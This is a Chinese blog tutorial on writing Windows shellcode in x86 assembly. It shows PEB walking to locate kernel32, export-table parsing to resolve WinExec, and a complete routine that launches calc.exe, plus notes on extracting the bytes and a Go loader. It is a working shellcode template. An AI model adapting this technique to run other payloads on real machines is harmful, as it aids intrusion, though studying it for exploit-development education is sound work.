用ASM编写一个简单的Windows Shellcode思路总结
shellcode 是什么?
“代碼也好數據也好只要是與位置無關的二進制就都是shellcode。”
為了寫出位置無關的代碼,需要注意以下幾點:
- 不能對字符串使用直接偏移,必須將字符串存儲在堆棧中
- dll中的函數尋址,由于 ASLR 不會每次都在同一個地址中加載,可以通過 PEB.PEB_LDR_DATA
找到加載模塊調用其導出的函數,或加載新 dll。 - 避免空字節
NULL 字節的值為 0x00,在 C/C++ 代碼中,NULL 字節被視為字符串的終止符。因此,shellcode 中這些字節的存在可能會干擾目標應用程序的功能,并且我們的 shellcode 可能無法正確復制到內存中。
mov ebx, 0x00xor ebx, ebx用下面的語句代替上面的語句,結果是一樣的。
此外,在某些特定情況下,shellcode 必須避免使用字符,例如 \r 或 \n,甚至只使用字母數字字符。
windows下dll加載的機制
在 Windows 中,應用程序不能直接訪問系統調用,使用來自 Windows API ( WinAPI ) 的函數,Windows API函數都存儲在 kernel32.dll、advapi32.dll、gdi32.dll 等中。ntdll.dll 和 kernel32.dll 非常重要,以至于每個進程都會導入它們:
這是我編寫 nothing_to_do 程序,用 listdlls列出導入的 dll:
dll尋址
TEB(線程環境塊)該結構包含用戶模式中的線程信息,32位系統中我們可以使用 FS 寄存器在偏移0x30處找到進程環境塊(PEB) 的地址。
PEB.ldr 指向PEB_LDR_DATA提供有關加載模塊的信息的結構的指針,包含kernel32 和 ntdll 的基地址
PEB_LDR_DATA.InMemoryOrderModuleList 包含進程加載模塊的雙向鏈表的頭部。列表中的每一項都是指向 LDR_DATA_TABLE_ENTRY 結構的指針
typedef struct _LIST_ENTRY {PLIST_ENTRY Flink;PLIST_ENTRY Blink; } LIST_ENTRY, *PLIST_ENTRY;LDR_DATA_TABLE_ENTRY 加載的 DLL 信息:
typedef struct _LDR_DATA_TABLE_ENTRY {PVOID Reserved1[2];LIST_ENTRY InMemoryOrderLinks;PVOID Reserved2[2];PVOID DllBase;PVOID EntryPoint;PVOID Reserved3;UNICODE_STRING FullDllName;BYTE Reserved4[8];PVOID Reserved5[3];union {ULONG CheckSum;PVOID Reserved6;};ULONG TimeDateStamp; } LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY;tips
在 Vista 之前的 Windows 版本中,InInitializationOrderModuleList 中的前兩個DLL是 ntdll.dll和kernel32.dll,但對于 Vista 及以后的版本,第二個DLL更改為kernelbase.dll。
InMemoryOrderModuleList 中的第一個 calc.exe(可執行文件),第二個是ntdll.dll,第三個是kernel32.dll,目前這適用于所有 Windows 版本是首選方法。
kernel32.dll尋址流程:
轉化為匯編代碼:
dll導出表中函數尋址
之前學習pe結構相關資料在這。
ImageOptionalHeader32.DataDirectory[0].VirtualAddress 指向導出表RVA,
導出表的結構如下:
函數尋址流程:
導出表尋址匯編:
查找 Winexec 函數名:
xor ecx, ecx Get_Function:inc ecx ; ecx++lodsd ; eax = 下一個函數名字符串rvaadd eax, ebx ; eax = 函數名字符串指針cmp dword ptr[eax], 0x456E6957 ; eax[0:4] == EniWjnz Get_Function dec ecx;查找 Winexec 函數指針:
mov esi, [edx + 0x24] ; esi = ordianl table rva add esi, ebx ; esi = ordianl table mov cx, [esi + ecx * 2] ; ecx = func ordianl mov esi, [edx + 0x1c] ; esi = address table rva add esi, ebx ; esi = address table mov edx, [esi + ecx * 4] ; edx = func address rva add edx, ebx ; edx = func address調用 Winexec 函數:
xor eax, eax push edx push eax ; 0x00 push 0x6578652e push 0x636c6163 push 0x5c32336d push 0x65747379 push 0x535c7377 push 0x6f646e69 push 0x575c3a43 mov esi, esp ; esi = "C:\Windows\System32\calc.exe" push 10 ; window state SW_SHOWDEFAULT push esi ; "C:\Windows\System32\calc.exe" call edx ; WinExec(esi, 10)最終的shellcode:
int main() {__asm {; Find where kernel32.dll is loaded into memoryxor ecx, ecxmov ebx, fs:[ecx + 0x30] ; 避免 00 空值 ebx = PEB基地址mov ebx, [ebx+0x0c] ; ebx = PEB.Ldrmov esi, [ebx+0x14] ; ebx = PEB.Ldr.InMemoryOrderModuleListlodsd ; eax = Second modulexchg eax, esi ; eax = esi, esi = eaxlodsd ; eax = Third(kernel32)mov ebx, [eax + 0x10] ; ebx = dll Base address; Find PE export tablemov edx, [ebx + 0x3c] ; 找到 dos header e_lfanew 偏移量add edx, ebx ; edx = pe headermov edx, [edx + 0x78] ; edx = offset export tableadd edx, ebx ; edx = export tablemov esi, [edx + 0x20] ; esi = offset names tableadd esi, ebx ; esi = names table; 查找 WinExec 函數名; EniW 456E6957xor ecx, ecxGet_Function:inc ecx ; ecx++lodsd ; eax = 下一個函數名字符串rvaadd eax, ebx ; eax = 函數名字符串指針cmp dword ptr[eax], 0x456E6957 ; eax[0:4] == EniWjnz Get_Functiondec ecx;; 查找 Winexec 函數指針mov esi, [edx + 0x24] ; esi = ordianl table rvaadd esi, ebx ; esi = ordianl tablemov cx, [esi + ecx * 2] ; ecx = func ordianlmov esi, [edx + 0x1c] ; esi = address table rvaadd esi, ebx ; esi = address tablemov edx, [esi + ecx * 4] ; edx = func address rvaadd edx, ebx ; edx = func address; 調用 Winexec 函數xor eax, eaxpush edxpush eax ; 0x00push 0x6578652epush 0x636c6163push 0x5c32336dpush 0x65747379push 0x535c7377push 0x6f646e69push 0x575c3a43mov esi, esp ; esi = "C:\Windows\System32\calc.exe"push 10 ; window state SW_SHOWDEFAULTpush esi ; "C:\Windows\System32\calc.exe"call edx ; WinExec(esi, 10); exitadd esp, 0x1cpop eaxpop edx}return 0; }dump shellcode
vs 生成 shellcode 體積膨脹了好多,用 masm 重新寫一下,體積小了很多:shellcode.asm
編譯:
F:\> ml -c -coff .\shellcode.asm F:\> link -subsystem:windows .\shellcode.obj兩種方法:
dumpbin.exe
$ dumpbin.exe /ALL .\shellcode.obj
從 PE .text 區塊中讀取
從 PointerToRawData 開始,取 VirtualSize 大小的數據
用 golang 寫個 loader
loader.go,直接用Makefile編譯:$ make
成功!!!
最后
關注私我獲取【網絡安全學習攻略】
總結
以上是生活随笔為你收集整理的用ASM编写一个简单的Windows Shellcode思路总结的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】一些webshell免杀的技
- 下一篇: 【安全技术】红队之windows信息收集